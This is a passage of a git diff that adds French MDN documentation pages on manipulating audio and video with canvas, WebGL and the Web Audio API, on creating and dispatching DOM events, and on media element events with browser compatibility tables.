+    this.ctx1.drawImage(this.video, 0, 0, this.width, this.height);
+    var frame = this.ctx1.getImageData(0, 0, this.width, this.height);
+    var l = frame.data.length / 4;
+
+    for (var i = 0; i &lt; l; i++) {
+      var grey = (frame.data[i * 4 + 0] + frame.data[i * 4 + 1] + frame.data[i * 4 + 2]) / 3;
+
+      frame.data[i * 4 + 0] = grey;
+      frame.data[i * 4 + 1] = grey;
+      frame.data[i * 4 + 2] = grey;
+    }
+    this.ctx1.putImageData(frame, 0, 0);
+
+    return;
+  }
+};  </pre>
+
+<p>Une fois que la page est chargée, on peut appeler</p>
+
+<pre class="brush: js">processor.doLoad()</pre>
+
+<p>{{EmbedLiveSample("Vidéo_et_Canvas", '100%', 550)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: En raison de problèmes de sécurité potentiels, si votre vidéo se trouve sur un domaine différent de votre page, vous devez activer <a href="/fr/docs/Web/HTTP/CORS">CORS (Cross Origin Resource Sharing)</a> sur le serveur qui héberge la vidéo et utiliser l'attribut <code>crossorigin</code> sur la balise vidéo.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: L'exemple présenté est un exemple minimal de manipulation vidéo avec canvas; pour plus d'efficacité, vous pouvez envisager d'utiliser requestAnimationFrame à la place de setTimeout pour les navigateurs qui le prennent en charge.</p>
+</div>
+
+<h3 id="Vidéo_e_WebGL">Vidéo e WebGL</h3>
+
+<p><a href="/en-US/docs/Web/WebGL">WebGL</a> est une API puissante qui utilise canvas pour (typiquement) afficher des scènes en trois dimensions. On peut combiner WebGL et l'élément {{htmlelement("video")}} pour créer des textures vidéo, ce qui veut dire que vous pouvez placer une vidéo dans des scènes 3D.</p>
+
+<p>Exemple:</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez trouver le <a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample8">code source de cette démo sur GitHub</a> (<a href="https://mdn.github.io/webgl-examples/tutorial/sample8/">la voir en direct</a> aussi).</p>
+</div>
+
+<h3 id="Vitesse_de_lecture">Vitesse de lecture</h3>
+
+<p>On peut ajuster la vitesse de lecture de l'audio et vidéo en utilisant l'attribut <code>playbackRate</code> (voir {{domxref("HTMLMediaElement")}}). Il prend pour valeur un nombre qui est le coefficient à appliquer à la vitesse de lecture: par exemple, 0.5 représente la moitié de la vitesse tandis que 2 représente le double.<br>
+ <br>
+ HTML:</p>
+
+<pre class="brush: html">&lt;video id="my-video" controls src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v"&gt;&lt;/video&gt;</pre>
+
+<p>JavaScript:</p>
+
+<pre class="brush: js">var myVideo = document.getElementById('my-video');
+myVideo.playbackRate = 2;</pre>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;video id="my-video" controls="true" width="480" height="270"&gt;
+  &lt;source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"&gt;
+  &lt;source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"&gt;
+&lt;/video&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+var myVideo = document.getElementById('my-video');
+myVideo.playbackRate = 2;&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function setPlaybackRate() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  setPlaybackRate();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', setPlaybackRate);
+window.addEventListener('load', setPlaybackRate);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 425) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Essayez l' <a href="http://jsbin.com/qomuvefu/2/edit">exemple playbackRate</a> en direct.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong> : <code>playbackRate</code> marche avec les éléments <code>&lt;audio&gt;</code> et <code><code>&lt;video&gt;</code></code>; cependant, dans les deux cas, la vitesse change mais pas la hauteur du son. Pour manipuler la hauteur du son, vous devez utliliser l'API Web Audio — voir la propriété {{domxref("AudioBufferSourceNode.playbackRate")}}.</p>
+</div>
+
+<h2 id="Manipulation_Audio">Manipulation Audio</h2>
+
+<p>Laissons <code>playbackRate</code> de côté. Pour manipuler l'audio, on utilise typiquement l'<a href="/en-US/docs/Web/API/Web_Audio_API">API Web Audio</a>.</p>
+
+<h3 id="Sélectionner_une_source_audio">Sélectionner une source audio</h3>
+
+<p>On peut utiliser la piste audio d'un élément {{htmlelement("audio")}} ou {{htmlelement("video")}} comme source pour alimenter l'API Web Audio, ou un simple buffer audio, une onde sinusoïdale/oscillateur, un flux (comme <a href="/fr/docs/NavigatorUserMedia.getUserMedia">getUserMedia</a> de <a href="/fr/docs/Web/API/WebRTC_API">WebRTC</a>)... Découvrez exactement comment les utiliser en lisant les pages suivantes:</p>
+
+<ul>
+ <li>{{domxref("MediaElementAudioSourceNode")}}</li>
+ <li>{{domxref("AudioBufferSourceNode")}}</li>
+ <li>{{domxref("OscillatorNode")}}</li>
+ <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
+</ul>
+
+<h3 id="Filtres_Audio">Filtres Audio</h3>
+
+<p>L'API Web Audio a beaucoup de différents filtres/effets qui peuvent être appliqués à l'audio en utilisant {{domxref("BiquadFilterNode")}}, par exemple:</p>
+
+<p>HTML:</p>
+
+<pre class="brush: html">&lt;video id="my-video" controls src="myvideo.mp4" type="video/mp4"&gt;&lt;/video&gt;</pre>
+
+<p>JavaScript:</p>
+
+<pre class="brush: js">var context     = new AudioContext(),
+    audioSource = context.createMediaElementSource(document.getElementById("my-video")),
+    filter      = context.createBiquadFilter();
+audioSource.connect(filter);
+filter.connect(context.destination);
+
+// Configure filter
+filter.type = "lowshelf";
+filter.frequency.value = 1000;
+filter.gain.value = 25;</pre>
+
+<div class="hidden">
+<h6 id="Playable_code_2" name="Playable_code_2">Playable code</h6>
+
+<pre class="brush: html">&lt;video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"&gt;
+  &lt;source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"&gt;
+  &lt;source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"&gt;
+&lt;/video&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+filter.type = "lowshelf";
+filter.frequency.value = 1000;
+filter.gain.value = 25;&lt;/textarea&gt;</pre>
+
+<pre class="brush: js">var context     = new AudioContext(),
+    audioSource = context.createMediaElementSource(document.getElementById("my-video")),
+    filter      = context.createBiquadFilter();
+audioSource.connect(filter);
+filter.connect(context.destination);
+
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function setFilter() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  setFilter();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', setFilter);
+window.addEventListener('load', setFilter);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', 700, 425) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: À moins que <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a> ne soit activé, vous devrez pour éviter les problèmes de sécurité placer la vidéo sur le même domaine que votre code.</p>
+</div>
+
+<p>Les filtres pouvant être appliqués sont:</p>
+
+<ul>
+ <li>Low Pass: Les fréquences en dessous de la fréquence de coupure sont inchangées et celles au-dessus sont atténuées.</li>
+ <li>High Pass: Les fréquences au-dessus de la fréquence de coupure sont inchangées et celles en dessous sont atténuées.</li>
+ <li>Band Pass: Les fréquence comprises entre deux bornes sont inchangées et celles en dehors sont atténuées.</li>
+ <li>Low Shelf: Les fréquences basses obtiennent un boost (ou une atténuation).</li>
+ <li>High Shelf: Les fréquences hautes obtiennent un boost (ou une atténuation).</li>
+ <li>Peaking: Les fréquences à l'intérieur d'une gamme donnée obtiennent un boost (ou une atténuation).</li>
+ <li>Notch: Les fréquences à l'intérieur d'une gamme donnée sont atténuées.</li>
+ <li>Allpass: Laisse touts les fréquences inchangées mais modifie le rapport de phrase entre les différentes fréquences.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Voir {{domxref("BiquadFilterNode")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="Convolutions_et_Impulsions">Convolutions et Impulsions</h3>
+
+<p>Il est également possible d'appliquer des réponses impulsionnelles à l'audio en utilisant {{domxref("ConvolverNode")}}. Une <em>réponse impulsionnelle</em> (<em>impulse response</em> en anglais) est un son crée après une brève impulsion sonore (comme un applaudissement) et qui s'applique sur l'environnement qui l'a créée. Exemple: un écho crée en frappant des mains dans un tunnel.</p>
+
+<p>Exemple:</p>
+
+<pre class="brush: js">var convolver = context.createConvolver();
+convolver.buffer = this.impulseResponseBuffer;
+// Connect the graph.
+source.connect(convolver);
+convolver.connect(context.destination);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Voir ce <a href="https://codepen.io/DonKarlssonSan/pen/doVKRE">Codepen</a> pour un exemple appliqué.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Voir {{domxref("ConvolverNode")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="Audio_dans_l'espace">Audio dans l'espace</h3>
+
+<p>On peut également positionner l'audio dans l'espace en utilisant un noeud panoramique (un <em>panner</em>). Ce noeud permet de définir un cône source ainsi que des éléments positionnels et directionnels — le tout dans un espace 3D définit par des coordonnées cartésiennes 3D.  <br>
+ <br>
+ Exemple:</p>
+
+<pre class="brush: js">var panner = context.createPanner();
+panner.coneOuterGain = 0.2;
+panner.coneOuterAngle = 120;
+panner.coneInnerAngle = 0;
+
+panner.connect(context.destination);
+source.connect(panner);
+source.start(0);
+
+// Position the listener at the origin.
+context.listener.setPosition(0, 0, 0);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez trouver un <a href="https://github.com/mdn/webaudio-examples/tree/master/panner-node">exemple sur notre repo GitHub</a> (le <a href="https://mdn.github.io/webaudio-examples/panner-node/">voir en direct</a> aussi).</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Voir {{domxref("PannerNode")}} pour plus d'informations.</p>
+</div>
+
+<h2 id="Codecs_JavaScript">Codecs JavaScript</h2>
+
+<p>Il est possible de manipuler l'audio au bas niveau en utilisant JavaScript. Cela peut être utile si vous voulez créer des codecs audio.<br>
+ <br>
+ Des bibliothèques existent actuellement pour les formats suivants:</p>
+
+<ul>
+ <li>AAC: <a href="https://github.com/audiocogs/aac.js">AAC.js</a></li>
+ <li>ALAC: <a href="https://github.com/audiocogs/alac.js">alac.js</a></li>
+ <li>FLAC: <a href="https://github.com/audiocogs/flac.js">flac.js</a></li>
+ <li>MP3: <a href="https://github.com/audiocogs/mp3.js">mp3.js</a></li>
+ <li>Opus: <a href="https://github.com/audiocogs/opus.js">Opus.js</a></li>
+ <li>Vorbis: <a href="https://github.com/audiocogs/vorbis.js">vorbis.js</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Sur AudioCogs, vous pouvez <a href="http://audiocogs.org/codecs/">essayer quelques démos</a>; Audiocogs fournit également un Framework, <a href="http://audiocogs.org/codecs/">Aurora.js</a>, qui est destiné à vous aider à créer vos propres codecs en JavaScript.</p>
+</div>
+
+<h2 id="Tutoriels">Tutoriels</h2>
+
+<ul>
+ <li><a href="/fr/docs/HTML/Manipulating_video_using_canvas">Manipulation vidéo avec la balise Canvas</a></li>
+ <li><a href="/fr/Apps/Build/Manipulating_media/HTML5_playbackRate_explained">HTML5 playbackRate expliqué</a></li>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser l'API Web Audio</a></li>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Les bases de la spatialisation audio Web</a></li>
+ <li><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Animation_de_textures_en_WebGL#Utilisation_des_images_vid%C3%A9o_comme_texture">Utilisation des images vidéo comme texture WebGL</a> (Vous pouvez également utiliser la bilbiothèque WebGL <a href="http://threejs.org">THREE.js</a> (ou autres) pour <a href="http://stemkoski.github.io/Three.js/Video.html">obtenir cet effet</a>)</li>
+ <li><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Animation_de_textures_en_WebGL">Animation de Textures en WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webaudio/games/#toc-room">Developing Game Audio with the Web Audio API (Room effects and filters)</a></li>
+</ul>
+
+<h2 id="Référence">Référence</h2>
+
+<ul>
+ <li>Les éléments {{htmlelement("audio")}} et {{htmlelement("video")}}</li>
+ <li>L'API {{domxref("HTMLMediaElement")}}</li>
+ <li>L'élément {{htmlelement("canvas")}}</li>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+ <li><a href="/fr/docs/Web/API/AudioContext">AudioContext</a></li>
+ <li>Plus d'infos sur <a href="/fr/docs/Web/API/AudioContext.createPanner">PannerNode</a></li>
+</ul>
diff --git a/files/fr/web/guide/dom/events/creating_and_triggering_events/index.html b/files/fr/web/guide/dom/events/creating_and_triggering_events/index.html
new file mode 100644
index 0000000000..686d138cfc
--- /dev/null
+++ b/files/fr/web/guide/dom/events/creating_and_triggering_events/index.html
@@ -0,0 +1,96 @@
+---
+title: Création et déclenchement d'événements
+slug: Web/Guide/DOM/Events/Creating_and_triggering_events
+tags:
+  - API
+  - Avancé
+  - DOM
+  - Guide
+  - JavaScript
+  - évènements
+translation_of: Web/Guide/Events/Creating_and_triggering_events
+---
+<p>Cet article montre comment créer et distribuer des événements DOM. De tels événements sont généralement appelés <strong>événements synthétiques</strong> afin de les distinguer des événements levés par le navigateur lui-même.</p>
+
+<h2 id="Création_dévénements_personnalisés">Création d'événements personnalisés</h2>
+
+<p>Les événements peuvent être créés avec le constructeur <a href="https://developer.mozilla.org/fr/docs/Web/API/Event" title="/fr/docs/Web/API/Event"> <code>Event</code> </a>de cette manière :</p>
+
+<pre class="brush: js">var event = new Event('build');
+
+//Ecouter l'événement.
+elem.addEventListener('build', function (e) { ... }, false);
+
+//distribuer l'événement.
+elem.dispatchEvent(event);</pre>
+
+<p>Ce constructeur est pris en charge par la plupart des navigateurs modernes (Internet Explorer étant l'exception). Pour une approche plus verbeuse (qui fonctionne avec Internet Explorer), voir <a href="#Ancienne_approche" title="#Ancienne_approche"> l'ancienne approche </a> ci-dessous.</p>
+
+<h3 id="Ajout_de_données_personnalisée_-_CustomEvent">Ajout de données personnalisée - CustomEvent ()</h3>
+
+<p>Pour ajouter d'autres données à l'objet événement, il existe l'interface CustomEvent. Dans cette interface, la propriété <code><u> <strong>detail</strong></u></code> peut être utilisée pour transmettre des données personnalisées. Par exemple, l'événement peut être créé de la manière suivante :</p>
+
+<pre class="brush: js">var event = new CustomEvent('build', { 'detail': elem.dataset.time });</pre>
+
+<p>Cela permet à la fonction qui capture l'événement (la fonction de rappel) d'accéder aux données supplémentaires :</p>
+
+<pre class="brush: js">function eventHandler(e) {
+  log('The time is: ' + e.detail);
+}
+</pre>
+
+<h3 id="Lancienne_approche"><a id="Ancienne_approche" name="Ancienne_approche"></a>L'ancienne approche</h3>
+
+<p>L'ancienne manière de créer des événements utilise des API inspirées par Java. Le code suivant en montre un exemple :</p>
+
+<pre class="brush: js">// Crée l'événement
+var event = document.createEvent('Event');
+
+// Nomme l'événement 'build'.
+event.initEvent('build', true, true);
+
+// Écoute l'événement.
+elem.addEventListener('build', function (e) {
+  // e.target correspond à elem
+}, false);
+
+// target peut être n'importe quel Element ou autre EventTarget.
+elem.dispatchEvent(event);
+
+</pre>
+
+<h2 id="Le_déclenchement_dévénements_intégrés">Le déclenchement d'événements intégrés</h2>
+
+<p>Cet exemple démontre la simulation d'un clic (programmation générant un événement de clic) sur une case à cocher en utilisant des méthodes DOM. <a href="http://developer.mozilla.org/samples/domref/dispatchEvent.html" title="http://developer.mozilla.org/samples/domref/dispatchEvent.html"> Voir l'exemple en action. </a></p>
+
+<pre class="brush: js">function simulateClick() {
+  var event = new MouseEvent('click', {
+    'view': window,
+    'bubbles': true,
+    'cancelable': true
+  });
+  var cb = document.getElementById('checkbox');
+  var canceled = !cb.dispatchEvent(event);
+  if (canceled) {
+    //Un gestionnaire appelé preventDefault.
+    alert("canceled");
+  } else {
+    //Aucun gestionnaires appelé preventDefault.
+    alert("not canceled");
+  }
+}</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility" style="line-height: 30px; font-size: 2.14285714285714rem;">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Event.Event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("document.createEvent()")}}</li>
+ <li>{{domxref("Event.initEvent()")}}</li>
+ <li>{{domxref("EventTarget.dispatchEvent()")}}</li>
+ <li>{{domxref("EventTarget.addEventListener()")}}</li>
+</ul>
diff --git a/files/fr/web/guide/dom/events/evenement_medias/index.html b/files/fr/web/guide/dom/events/evenement_medias/index.html
new file mode 100644
index 0000000000..c34862e7db
--- /dev/null
+++ b/files/fr/web/guide/dom/events/evenement_medias/index.html
@@ -0,0 +1,266 @@
+---
+title: Evénements des Médias
+slug: Web/Guide/DOM/Events/evenement_medias
+tags:
+  - Media
+translation_of: Web/Guide/Events/Media_events
+---
+<p>Plusieurs événements sont envoyés lors de la gestion des médias inclus dans un documentHTML en utilisant les balises {{ HTMLElement("audio") }} et {{ HTMLElement("video") }} ; ce document les liste et fournit des informations sur leur utilisation.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Nom de l'événement</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>abort</code></td>
+   <td>Envoyé lorsque la lecture est avortée ; par exemple, si le média est en cours de lecture et que cette lecture est recommencée depuis le début, cet événement est envoyé.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("canplay")}}</code></td>
+   <td>Envoyé lorsqu'il y a assez de données disponibles pour que le média puisse être lu, sur au moins quelques trames. Cet événement correspond à la valeur <code>HAVE_ENOUGH_DATA</code> de la propriété <code>readyState</code>.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("canplaythrough")}}</code></td>
+   <td>Envoyé quand l'état de disponibilité change pour <code>CAN_PLAY_THROUGH</code>, indiquant que le média peut être lu en entier sans interruption si la vitesse de téléchargement de celui-ci reste stable. Il sera également envoyé quand l'état de lecture bascule entre lecture et pause. <strong>Note</strong>: Changer manuellement la valeur <code>currentTime</code> peut éventuellement déclencher cet évenement dans firefox. Les autres navigateurs peuvent ne pas envoyer cet événement.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("durationchange")}}</code></td>
+   <td>Les métadonnées sont chargées ou ont changées, indiquant un changement de la durée du média. Cet événement est envoyé lorsque, par exemple, assez de données ont été téléchargées pour connaitre cette durée.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("emptied")}}</code></td>
+   <td>Les données du média ont été vidées ; par exemple, si le média a déjà été téléchargé, partiellement ou complètement, et que la méthode <a class="internal" href="/En/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" title="en/nsIDOMHTMLMediaElement"><code>load()</code></a> a été appellée pour le re-télécharger.</td>
+  </tr>
+  <tr>
+   <td>encrypted {{experimental_inline}}</td>
+   <td>L'agent utilisateur a trouvé des données d'initialisation d'acquisition de licence dans les données du média.</td>
+  </tr>
+  <tr>
+   <td><code>ended</code></td>
+   <td>Envoyé quand la lecture du média est terminée.</td>
+  </tr>
+  <tr>
+   <td><code>error</code></td>
+   <td>Envoyé quand une erreur intervient. L'attribut <code>error </code>de l'élément contient plus d'informations. Voir <a href="/en-US/docs/Web/Guide/HTML/Using_HTML5_audio_and_video#Error_handling">Error handling</a> pour plus de détails.</td>
+  </tr>
+  <tr>
+   <td><code>interruptbegin</code></td>
+   <td>Envoyé quand la lecture audio du média est interrompue sur un terminal Firefox OS, soit parce que l'application a été placée en arrière-plan, soit parce que la lecture d'un autre canal audio avec une priorité supérieure commence. Voir <a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a> pour plus de détails.</td>
+  </tr>
+  <tr>
+   <td><code>interruptend</code></td>
+   <td>Envoyé lorsque la lecture audio du média interrompue recommence sur un terminal Firefox OS — quand l'interruption se termine. Soit quand l'application revient au premier plan, soit quand la lecture d'un autre canal audio avec une priorité supérieure est terminée. Voir <a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a> pour plus de détails.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("loadeddata")}}</code></td>
+   <td>La première frame du media a fini de se télécharger.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("loadedmetadata")}}</code></td>
+   <td>Les métadonnées du média ont fini de se télécharger ; tous les attributs ont désormais toutes les informations utiles qu'ils peuvent contenir.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("loadstart")}}</code></td>
+   <td>Envoyé lorsque le téléchargement du média commence.</td>
+  </tr>
+  <tr>
+   <td><code>mozaudioavailable</code></td>
+   <td>Envoyé lorsque qu'un tampon audio est fourni à la couche audio du lecteur pour traitement ; le tampon audio contient des échantilons sonores qui peuvent déjà être lus ou non au moment où l'évenement est reçu.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("pause")}}</code></td>
+   <td>Envoyé quand la lecture du média est mise en pause.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("play")}}</code></td>
+   <td>Envoyé quand la lecture du média commence après avoir été mise en pause ; c'est-à-dire quand elle reprend après un événement pause précédent.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("playing")}}</code></td>
+   <td>Envoyé quand la lecture du média commence (soit pour la première fois, soit après avoir été mise en pause ou soit après avoir été terminée puis relancée).</td>
+  </tr>
+  <tr>
+   <td><code>{{event("progress")}}</code></td>
+   <td>Envoyé de manière périodique pour informer de la progression du téléchargement du média. L'information sur le volume de données actuellement téléchargées est disponible dans la propriété <code>buffered</code> de l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("ratechange")}}</code></td>
+   <td>Envoyé lorsque la vitesse de lecture du média change.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("seeked")}}</code></td>
+   <td>Envoyé lorsqu'une opération de déplacement dans le média est terminée.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("seeking")}}</code></td>
+   <td>Envoyé lorsqu'une opération de déplacement dans le média commence.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("stalled")}}</code></td>
+   <td>Envoyé lorsque l'agent utilisateur essaye de télécharger des données du média mais que celle-ci sont indisponibles.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("suspend")}}</code></td>
+   <td>Envoyé lorsque le téléchargement du média est suspendu ; soit parce que ce téléchargement est fini, soit parce qu'il est mis en pause pour une autre raison.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("timeupdate")}}</code></td>
+   <td>La position de la tête de lecture dans le média indiquée par l'attribut <code>currentTime</code> de l'élément a changée.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("volumechange")}}</code></td>
+   <td>Envoyé lorsque le volume sonore du lecteur ou que l'attribut <code>muted</code> de l'élément changent.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("waiting")}}</code></td>
+   <td>Envoyé lorsqu'une opération demandée (comme la lecture) est reportée en attendant la fin d'une autre opération (comme le déplacement du média).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Vous pouvez facilement écouter ces événements en utilisant du code ci-dessous :</p>
+
+<pre class="brush: js">var v = document.getElementsByTagName("video")[0];
+v.addEventListener("seeked", function() { v.play(); }, true);
+v.currentTime = 10.0;
+</pre>
+
+<p>Ce code récupère le premier élément vidéo dans le document et y attache un écouteur qui se déclenche quand l'évenement <code>seeked</code> est envoyé. Cet écouteur appèle la méthode <code>play()</code> de l'élément, qui démarre la lecture.</p>
+
+<p>Ensuite, en ligne 3, l'exemple définit la propriété <code>currentTime</code> de l'élement à 10.0, ce qui provoque une opération de déplacement de la tête de lecture à 10 secondes dans le média. Cet opération déclenche l'envoi d'un évenement <code>seeking</code> quand elle commence, puis un évenement <code>seeked</code> quand elle se termine.</p>
+
+<p>En d'autres termes, l'exemple lance le changement de la position de la tête de lecture à 10 secondes dans le média, et lance la lecture quand c'est fait.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>encrypted</td>
+   <td>{{CompatChrome(42.0)}}
+    <p> </p>
+   </td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>load</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>mozaudioavailable {{ non-standard_inline() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>suspend</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>encrypted</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatChrome(42.0)}}
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td>load</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>mozaudioavailable {{ non-standard_inline() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("2.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>suspend</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Supprimé dans Gecko 1.9.2.</p>
diff --git a/files/fr/web/guide/dom/events/index.html b/files/fr/web/guide/dom/events/index.html
new file mode 100644
index 0000000000..475aa10cde
--- /dev/null
+++ b/files/fr/web/guide/dom/events/index.html
@@ -0,0 +1,18 @@
+---
+title: Event developer guide
+slug: Web/Guide/DOM/Events
+tags:
